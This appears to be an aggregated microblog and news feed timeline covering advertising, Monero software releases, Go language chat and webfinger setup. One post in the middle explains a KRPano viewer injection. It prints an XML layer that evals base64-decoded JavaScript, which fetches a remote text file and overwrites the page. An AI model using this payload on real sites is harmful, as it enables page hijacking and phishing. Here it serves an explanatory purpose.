10 Unbelievable Advertising Fiascoes
For various reasons, product advertisements sometimes go awry in a big way. A case in point: Budweiser Light’s ad campaign featuring transgender influencer Dylan Mulvaney resulted in a boycott that cost the company almost 1.5 billion dollars, as customers switched from Bud Light to competitors’ brands. As Harvard Business Review points out, companies learned that […]

The post [10 Unbelievable Advertising Fiascoes](https://listverse.com/2025/02/12/10-unbeliev … ⌘ Read more

Pineboards Introduces Modulo Carrier Boards for Raspberry Pi CM5 and CM4
Pineboards has introduced the Modulo4, Modulo5 Basic, and Modulo5 IO PoE+ carrier boards, adapting Raspberry Pi Compute Modules to the Raspberry Pi 5 form factor. These boards maintain compatibility with PCIe HATs, cases, and cooling solutions, with the Modulo5 IO PoE+ adding PoE+ support for network-powered operation. Pineboards indicates that with the release of the […] ⌘ Read more

Using AirTags for Dogs: Track Your Pet for Added Peace of Mind
Using AirTags to keep track of a dog can offer some additional peace of mind, especially if you’re worried about your fuzzy companion wandering off. Whether your dog has a penchant to escape out of your yard, has a tendency to bolt, or simply likes to run off at any opportunity, AirTags can provide a … Read More ⌘ Read more

Honest Government Ad | Nuclear (Australia) ⌘ Read more

Red Hat Adding AI to Fedora Linux & GNOME
Red Hat’s Director of Desktop, outlines plans for 2025: “Big item on our list is looking at ways Fedora can make use of Artificial Intelligence” from IBM. ⌘ Read more

Everyone knows your location: tracking myself down through in-app ads
Article URL: https://timsh.org/tracking-myself-down-through-in-app-ads/

Comments URL: https://news.ycombinator.com/item?id=42909921

Points: 531

# Comments: 177 ⌘ Read more

Over the next few months, I’m a) Replacing all Boot disks b) Replacing all Storage disks c) Adding additional 32GB Memory to all my Hypervisor …
Over the next few months, I’m a) Replacing all Boot disks b) Replacing all Storage disks c) Adding additional 32GB Memory to all my Hypervisor machines. I think that’ll take me the better part of 6 months. For the remainder thereafter in the year I’ll be swapping out the 3.5” Disks in my NAS slowly ( one at a time). ⌘ Read more

(#ondf3bq) @lyse@lyse I have no problems with the ternary operator either. If it were added to Go I Wouldn’t mind. C has it right? I …
@lyse @lyse.isobeef.org I have no problems with the ternary operator either. If it were added to Go I Wouldn’t mind. C has it right? I’d also by happy with if expressions, e.g: if foo ... else bah, but probably doesn’t fit the styoe of the Go grammer.

What I absolutely hate is this proposal. Making ? to mag … ⌘ Read more

AI-powered image descriptions on my blog
My blog still has a long way to go when it comes to accessibility, but I’m excited about two new plugins I’ve just added to make things better. ⌘ Read more

Sounds about as complex as adding @nick@domain support by doing a webfinger lookup to get the URL.

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

I need an alternative news source… Something I can shove into feeds.twtxt.net that helps me keep up-to-date with Tech and other important news …
I need an alternative news source… Something I can shove into feeds.twtxt.net that helps me keep up-to-date with Tech and other important news 🗞️ Hmmm 🤔 Suggestions? I can’t stand Slashdot anymore since they’ve decided to come down hard on ad-blockers 🤦‍♂️ ⌘ Read more

Stick it to Big Tech. Support The Lunduke Journal.
No ads. No corporate money. No Big Tech influence. Support the last bastion of truly independent Tech Journalism. ⌘ Read more

I’ve decided (finally) to unfollow the Slashdot feed and no-longer bother ever visiting the site or read any of it’s content. Why? Because Sla …
I’ve decided ( finally) to unfollow the Slashdot feed and no-longer bother ever visiting the site or read any of it’s content. Why? Because Slashdot in their infinite wisdom have decided to employ tactics that make it difficult to use their site without ad-blokers:

This page could not be loaded properly due to incorrect / bad filtering rule(s) of adblockers in use. Please disable all ad … ⌘ Read more

Mathieu Pasquet: slixmpp v1.8.6 - Codename ICE 2926
A bit less than a year since the latest version, there has been around
45 commits to include in this new release.

Added initial support for:

• XEP-0264 (Jingle Content Thumbnails)
  
• XEP-0317 (Hats)
  
• XEP-0469 (Bookmarks pinning)
  
• XEP-0490 (Message Display Synchronization)
  

Boog900 completes Cuprate dev work CCS
Boog9001 has posted a third and final progress report2 for their latest full-time Cuprate 3 development work CCS proposal4:

People have been syncing using the initial binary with mostly success a couple of people have reported issues, which will be investigated [..] Fast sync is yet to be added. I have ideas for optimisations [..] that should significantly speed up sync on top of where we already are (faster than mo … ⌘ Read more

i like this little ideas utility i’ve been using like i keep pulling up the idea table to see what i’ve added and it makes me wanna start one of them like the CLI app i wanna write in golang with charmbracelet’s bubbletea even though i only have a vague idea of what i want in a CLI app

Apple has agreed to pay $95 million to settle a lawsuit alleging that its voice assistant Siri routinely recorded private conversations that were then sold to third parties for targeted ads.

From Siri “unintentionally” recorded private convos; Apple agrees to pay $95M https://arstechnica.com/tech-policy/2025/01/apple-agrees-to-pay-95m-delete-private-conversations-siri-recorded/

I’m not sure I’m convinced Apple is really that much better than the other big tech companies when it comes to this kind of thing. Their reputation is better and they do seem to be better about things like on-device encryption, but then stories like this come out.

@kat@yarn.girlonthemoon.xyz just spent like an hour playing with this and adding newjeans ASCII art this is the cutest shit ever

@kat@yarn.girlonthemoon.xyz i was adding catppuccin themes everywhere possible last night right but now my desktop wallpaper & conky widget, which are just black & white, don’t really match, so i need something dark purple tinged! i’ll make a quick edit later

Whoohoo! 💪 Last night I added support for SSH Agent Forwarding to sshbox that now enables me to use it as an SSH Reverse Proxy to a private S …
Whoohoo! 💪 Last night I added support for SSH Agent Forwarding to sshbox that now enables me to use it as an SSH Reverse Proxy to a private SSH service. I can now use this to front my Gitea’s SSH service 👌 ( without exposing my infra behind the proxy or the IP addresses). ⌘ Read more

P2Pool v4.3 released with initial sync improvements
SChernykh1 has released P2Pool 2 version 4.33 with initial sync improvements, various new features and bugfixes.

”`
New Features:

• Added –data-dir command line option
  
• Added –no-stratum-http command line option to disable HTTP on Stratum ports
  
• Faster initial sync (0.5-1 seconds saved on verification of blocks)
  Bugfixes:
  
• TLS: fixed not being able to use Letsencrypt certificate … ⌘ Read more”`

** Hello my beautiful ghouls **
This is a test. I’m experimenting with adding rss only posts to my website.

This post should only show up in rss feed readers, and, hopefully, leave no other trace on any directory pages on my website.

Each rss-only post will also have a html rendered page, but there won’t be any way to navigate to that page without knowing the actual url for that page. ⌘ Read more

Introducing Annotated Logger: A Python package to aid in adding metadata to logs
We’re open sourcing Annotated Logger, a Python package that helps make logs searchable with consistent metadata.

The post [Introducing Annotated Logger: A Python package to aid in adding metadata to logs](https://github.blog/developer-skills/programming-languages-and-frameworks/introducing-annotated-logger-a-python-package-to-aid-in-a … ⌘ Read more

@prologic@twtxt.net Well I just mirrored yarnd’s JSON in my webfinger endpoint and lookup, so not much else to do for standardization.

And for people who don’t like PHP you can always just go with Added WebFinger support to my email address using one rewrite rule and one static file. or simply putting a static JSON in place for .well-know/webfinger

[ANN] PiNodeXMR v6.24.12 update available - (Ban Lists)

Hi all, here at PiNodeXMR we’ve been following along with the MRL ban list discussion and have re-added the function to pull-in a ban list of IPs. In the name of decentralisation/anti-censorship, the ban lists are optional for PiNodeXMR users. You can find the new options in your terminal setup menu under “Extra Network tools”.

Links:

• [https://farside.link/libreddit/r/Monero/comments/1hhyn4a/](https://farside.link/libreddit/r/Monero/comments/1hhyn4a/pinodexmr_v62412_u … ⌘ Read more

@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?

the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?

• phone number: yes because everyone knows what a phone number is.
  
• email address: yes, everyone knows an email and their aol or prodigy will let them email.
  
• twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
  
• domain name: yes its simple and you just type it in a browser right?
  
• twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?

According to internet it’s adshield and i dont think you should allow this domain: https://redlib.nadeko.net/r/uBlockOrigin/comments/188khmu/site_breaks_with_error_unless_ad_domain_is/

Living together: Reflections on collective living
[A version of this post was initially published on 2022-05-30 (Setting
Orange, the 4 day of Confusion in the YOLD 3188) in my gemlog at:

gemini://gem.hack.org/log/collectives.gmi

It’s been slightly edited and a few photos added.

Posted on the blog on 2024-12-15 02:33 +0100. Later updated with how
Area 41 ended.]

I dreamt about Dial House last night. I’ve never been there, but it
was like I belonged, like I was meant to be th … ⌘ Read more

Living together: Reflections on collective living
[A version of this post was initially published on 2022-05-30 (Setting
Orange, the 4 day of Confusion in the YOLD 3188) in my gemlog at:

gemini://gem.hack.org/log/collectives.gmi

It’s been slightly edited and a few photos added.]

I dreamt about Dial House last night. I’ve never been there, but it
was like I belonged, like I was meant to be there.

Last I heard anything about Dial House they were trying to gather
enough money … ⌘ Read more

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Cleaned up my npm package for twthash; made it CommonJS compatible, added more documentation and even a test. Current version is 1.2.2

Added TwtHash hashes to every message on my personal Twtxt HTML renderer. Code is not yet ready for prime-time. Need to work out some kinks still.

rehrar releases Stack Wallet v2.1.9, Stack Duo v1.2.4
rehrar1 has released Stack Wallet2 version 2.1.93 and Stack Duo version 1.2.44 with various fixes and improvements.

Stack Wallet:
* Show Monero/Wownero tx private key option
* Fix Frost error
* Stack Wallet Backup fixes
Stack Duo:
* Added Monero churn options
* Paynym temporarily disabled while kinks worked out [..]

The release notes, binaries, and the SHA256 hashes can … ⌘ Read more

Watch the Touching Apple Holiday Ad for 2024: Heartstrings
Apple has introduced their annual Holiday advertisement for the 2024 season, titled “Heartstrings”, and it’s an unusually moving commercial that focuses on hearing loss and the hearing aids feature of AirPods Pro 2 (which happen to be hugely discounted on Amazon right now, if you’re in the market). In the touching and family oriented commercial, … [Read More](https://osxdaily.com/2024/11/29/watch-the-touching-apple-ho … ⌘ Read more

Stack Wallet adds support for XMR view-only wallets, ‘churn options’
rehrar1 has released Stack Wallet2 version 2.1.83 with support for Monero view-only wallets and churn options 4, various other changes and bug fixes.

Added Monero churn options
Added ability to set tor/clearnet options for individual nodes
Bug fixes for Solana, Tezos, ETH, Cardano, and epic
Paynym temporarily disabled while kinks worked out
Adju ... ⌘ [Read more](https://monero.observer/stack-wallet-v2.1.8-support-monero-view-only-wallets-churn-options/)

125. výročie narodenia Mirka Petroviča a jeho ťažký osud
Mirko Petrovič, petrovský kaplán, odborný učiteľ na gymnáziu, manžel Adely Čajakovej, sa narodil 25. novembra 1899 v Štýrskom Hradci. Na gymnáziu v Petrovci pôsobil v období rokov 1927 – 1946, kde vyučoval evanjelické náboženstvo, srbčinu, latinčinu, nemčinu, krasopis a zemepis. V roku 1946, v akcii Mať volá, sa presťahoval s rodinou na Slovensko. Avšak, radosť z krajšej budúcnosti netrvala dlho, už v rok … ⌘ Read more

PEP 768: Safe external debugger interface for CPython
This PEP proposes adding a zero-overhead debugging interface to CPython that allows debuggers and profilers to safely attach to running Python processes. The interface provides safe execution points for attaching debugger code without modifying the interpreter’s normal execution path or adding runtime overhead. ⌘ Read more

[ANN] Monero Remote Node Monitoring project updates

Since my last post on Reddit in June 2024, there have been some major changes and new features.

* updated the license from GLWTS to a more widely recognized and permissive one (BSD-3-Clause)
* UI: switched from SvelteKit to Templ+HTMX to reduce external dependencies
* added support for monitoring both IPv6 and I2P nodes
* set up a Tor Hidden service for the web UI

Links:

• GitHub repository
  
• [Website](https://xmr.d … ⌘ Read more

Honest Government Ad | Congratulations President Trump ⌘ Read more

How to Turn Off Bluetooth in iOS 18 on iPhone
The iOS 18 update is a fun one with some intriguing new features, mostly for visual tweaks like adding dark mode icons and color hues, and of course there’s Apple Intelligence AI features if your iPhone is new enough to support those features. One of the other major changes in iOS 18 and iPadOS 18 … Read More ⌘ Read more

Notepad.exe Goes AI
Microsoft is adding Artificial Intelligence to Notepad and Paint. Because they hate you. ⌘ Read more

** Broughlike dev log **
I’ve been working on the broughlike pretty steadily since my last update. The gameplay loop is pretty much unchanged, but I’ve added a fair bit of polish, and fixed a lot of bugs. I think it is honestly sort of boring to play, but I am excited to have this as the starting point for future projects…can you smell the roguelike!? I can!

The major fixes and improvements that I’ve made since my last update include:

• better way finding … ⌘ Read more

Honest Government Ad | Visit Myanmar! ⌘ Read more

SChernykh releases P2Pool v4.2 with new features, bugfixes
SChernykh1 has released P2Pool 2 version 4.23 with new features and various bugfixes.

Stratum server now disconnects miners when it's not connected to P2Pool network [..]
Added an error code to error messages about opening/saving files
Fixed a possible deadlock during the initial sync [..]
Fixed Windows 7 compatibility
Fixed a data race on shutdown [..]

The full list of changes since v4.1.1 is … ⌘ Read more

What Would Happen if I Added Fuel? ⌘ Read more

Rucknium reviews CypherStack’s ‘Uniformly Most Powerful Tests for Ad Hoc Transactions in Monero’ paper
Rucknium1 has posted their review2 of CypherStack3’s Uniformly Most Powerful Tests for Ad Hoc Transactions in Monero 4 paper (by BG Goodell, Rigo Salazar, and Freeman Slaughter) that was published on 21 October 2024:

The paper is an important contribution to the analysis of churning, an important research question that has evaded rigorous analysis for … ⌘ Read more

How come gmail has really good spam filters, while chrome is actively working against ad-blockers?

Hmm… 🤔 ⌘ Read more

XMRig v6.22.1 released with bug fixes, tweaks
XMRig 1 version 6.22.12 has been released with several bug fixes and improvements.

#3531 Always reset nonce on RandomX dataset change.
#3534 Fixed threads auto-config on Zen5.
#3535 RandomX: tweaks for Zen5.
#3539 Added Zen5 to randomx_boost.sh.
#3540 Detect AMD engineering samples in randomx_boost.sh.

Verify the SHA256 sums with xmrig3’s GPG key4 (ID: 446A53638BE94409) before using the software.

Consult … ⌘ Read more

How to Fix “Recents” Folder Empty on Mac
The Mac “Recents” folder in Finder is a useful catchall Smart Folder that, as the name implies, contains all recently opened, modified, or added files that are found within the file system. This means the “Recents” folder should contain everything from text files, documents, PDFs, images, video, basically anything in the file system that has … Read More ⌘ Read more